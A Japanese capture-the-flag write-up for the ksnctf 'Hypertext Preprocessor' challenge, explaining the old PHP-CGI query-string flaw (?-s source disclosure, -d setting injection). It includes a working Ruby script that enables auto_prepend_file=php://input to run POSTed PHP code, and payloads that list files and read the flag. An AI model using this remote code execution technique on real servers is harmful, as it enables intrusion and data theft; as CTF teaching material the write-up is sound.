[ksnctf] Hypertext Preprocessor

ksnctfにチャレンジ
第12問目です。

※ksnctfは常駐型のCTFサイトです。
※問題のページはコチラです。

Hypertext Preprocessor

タイトルの Hypertext Preprocessor とは PHP言語のことです。
CTFでPHP題材となると とりあえず -s は試します。

> 参考 8946 take52

同じ出題が 8946 でも出ているレベルです。

CGI版PHPの過去のあるバージョンにおいて 末尾に ?-s を追加すると
コマンドラインで
$ php ./hoge.php -s
を実行するのと同じ状態になり。
わざわざ適切に整形された状態で
ソースコードが閲覧できてしまうという有名な脆弱性です。

これが使えると -d オプションなどで php の設定も
自由に変更できます。

やはり通りました。

ここからどうするか、ですが、
先述の通り -s オプションと同じように -d オプションで
PHPの設定を変更することができてしまいます。

ここで以下の設定を変更します

allow_url_include=On
auto_prepend_file=php://input

1行目は
PHPがURL形式の外部データを include することを許可するという設定
もう1つは auto_prepend_file の設定です。

これは、
対象のPHPプログラムが動作する直前に指定したプログラムファイルを
実行してくれる という機能で
スクリプトに手を加えずにパラメータを調整して部分ごとのテストを
したりする場合に使う機能です。

そして、
この直前処理するためのファイルとして php://input を指定します。
php:// は入出力ストリームへの
アクセスを提供していて、 php://input は POSTされたデータのことです。

つまりこの2つの設定は

POSTで送信されてきたデータをPHPのプログラムとしてまず実行せよ

というかなり恐ろしい命令を構成することになります。

以上より
以下のRubyプログラムで

#!/usr/bin/ruby
require 'net/http'
uri=URI.parse('http://ctfq.sweetduet.info:10080/~q12/')
option='?-dallow_url_include%3DOn-dauto_prepend_file%3Dphp://input'
payload="<?php 任意のPHPコード ?>"

http=Net::HTTP.new(uri.host)
http.start{
    resp=http.post( uri.path+option, payload )
    puts resp.body
}

任意のPHPプログラムを実行できるようになります。

まずは

payload= "<?php $a = scandir('.'); foreach($a as $file){ print $file.'\n';} ?>"

を指定して、フォルダ内のデータを一覧させます。

FLAGが記録されているのは
flag_flag_flag.txt
とわかります。

よって

payload = "<?php print readfile('./flag_flag_flag.txt'); ?>"

とすれば

おしまいです。

コメントする